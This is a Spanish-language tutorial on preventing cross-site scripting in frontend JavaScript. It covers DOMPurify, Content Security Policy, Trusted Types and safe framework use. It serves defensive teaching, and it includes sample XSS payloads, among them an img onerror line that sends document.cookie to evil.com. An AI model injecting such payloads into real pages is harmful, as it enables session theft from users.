La seguridad del lado del cliente en JavaScript es una responsabilidad real del desarrollador frontend. El Cross-Site Scripting (XSS) sigue siendo la vulnerabilidad web más frecuente según OWASP y, aunque los frameworks modernos ayudan, comprender sus variantes y las defensas disponibles es imprescindible para construir aplicaciones robustas.
Los tres tipos de XSS
El XSS se manifiesta en tres formas principales, cada una con un vector de ataque diferente:
// 1. XSS Reflected: el payload llega en la URL y se refleja en la respuesta
// URL: /buscar?q=<script>alert(document.cookie)</script>
// Si el servidor inserta el parámetro directamente en el HTML:
// <p>Resultados para: <script>alert(document.cookie)</script></p>
// 2. XSS Stored: el payload se guarda en la base de datos y se sirve a todos
// Un comentario malicioso guardado: "<img src=x onerror=fetch('https://evil.com/'+document.cookie)>"
// 3. XSS DOM-based: el payload se ejecuta solo en el cliente sin pasar por el servidor
// Vulnerable:
const nombre = new URLSearchParams(location.search).get('nombre');
document.getElementById('saludo').innerHTML = `Hola, ${nombre}!`;
// URL: /pagina?nombre=<img+src=x+onerror=alert(1)>
innerHTML: la puerta de entrada más frecuente
Asignar HTML sin sanitizar a innerHTML es el origen de la mayoría de vulnerabilidades XSS DOM. La alternativa segura es textContent cuando solo se necesita texto, o sanitizar el HTML antes de insertarlo:
const comentarioUsuario = '<script>robarCookies()</script> Gran artículo'; // VULNERABLE elemento.innerHTML = comentarioUsuario; // SEGURO para texto puro elemento.textContent = comentarioUsuario; // Muestra literalmente: <script>robarCookies()</script> Gran artículo // SEGURO con innerHTML cuando necesitas HTML real del usuario // Requiere sanitizar primero (ver DOMPurify más abajo)
DOMPurify: sanitizar HTML de usuario
DOMPurify es la librería más usada y auditada para sanitizar HTML en el navegador. Permite HTML legítimo del usuario (negrita, enlaces, listas) mientras elimina cualquier cosa ejecutable:
// npm install dompurify
import DOMPurify from 'dompurify';
const htmlUsuario = `
<b>Texto en negrita</b> y un <a href="https://ejemplo.com">enlace</a>
<script>alert('XSS')</script>
<img src=x onerror="fetch('https://evil.com/'+document.cookie)">
`;
// Sanitización por defecto
const seguro = DOMPurify.sanitize(htmlUsuario);
console.log(seguro);
// "<b>Texto en negrita</b> y un <a href="https://ejemplo.com">enlace</a>"
// Scripts e img con onerror eliminados
// Configuración más restrictiva: solo permitir ciertos tags
const muySeguro = DOMPurify.sanitize(htmlUsuario, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
});
elemento.innerHTML = muySeguro;
Content Security Policy (CSP)
CSP es una cabecera HTTP que instruye al navegador sobre qué recursos puede cargar y ejecutar. Es la segunda línea de defensa: aunque llegue código malicioso, el navegador lo bloquea:
// Cabecera HTTP para CSP estricta (configurada en el servidor)
// Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'; style-src 'self';
// En Node.js / Express:
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.nonce = nonce;
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}'; ` +
`style-src 'self' 'nonce-${nonce}'; ` +
`img-src 'self' data: https:; ` +
`connect-src 'self' https://api.ejemplo.com; ` +
`frame-ancestors 'none';`
);
next();
});
// En el HTML generado, los scripts legítimos necesitan el nonce:
// <script nonce="RANDOM"> /* código legítimo */ </script>
// Los scripts inyectados por XSS no tienen el nonce y el navegador los bloquea
Trusted Types (Chrome y Edge)
Trusted Types es una API del navegador que obliga a que los valores asignados a innerHTML, eval y otras APIs peligrosas pasen por funciones de políticas definidas. Hace imposible el XSS DOM accidental:
// Activar con CSP: require-trusted-types-for 'script';
// Definir una política que sanitiza con DOMPurify
const policy = trustedTypes.createPolicy('dompurify', {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Ahora innerHTML solo acepta TrustedHTML, no strings directos
elemento.innerHTML = policy.createHTML(htmlUsuario); // OK
// Esto lanzará TypeError con Trusted Types activado:
// elemento.innerHTML = '
'; // TypeError
Otras APIs peligrosas a evitar
// PELIGROSO nunca usar con datos de usuario
eval(datosUsuario);
new Function(datosUsuario)();
setTimeout(datosUsuario, 0); // String, no función
elemento.setAttribute('href', url); // Puede ser javascript:
// Validar URLs antes de asignarlas
function urlSegura(url) {
try {
const parsed = new URL(url);
return ['http:', 'https:'].includes(parsed.protocol) ? url : '#';
} catch {
return '#';
}
}
enlace.href = urlSegura(urlUsuario); // Solo HTTP/HTTPS
XSS en frameworks modernos
React, Vue y Angular escapan los valores por defecto, pero mantienen "escotillas de escape" que hay que usar con cuidado:
// React: dangerouslySetInnerHTML solo con HTML sanitizado
function Comentario({ html }) {
const sanitizado = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: sanitizado }} />;
}
// Vue: v-html igual, solo con HTML sanitizado
// <div v-html="htmlSanitizado"></div>
// Los valores normales son seguros automáticamente:
// React: <div>{datosUsuario}</div> texto escapado automáticamente
// Vue: <div>{{ datosUsuario }}</div> igual
La defensa en profundidad es la clave: escapar en el servidor, sanitizar en el cliente con DOMPurify, añadir CSP como red de seguridad y usar Trusted Types en aplicaciones críticas. Ninguna medida por sí sola es suficiente, pero la combinación hace que un XSS exitoso sea extremadamente difícil.
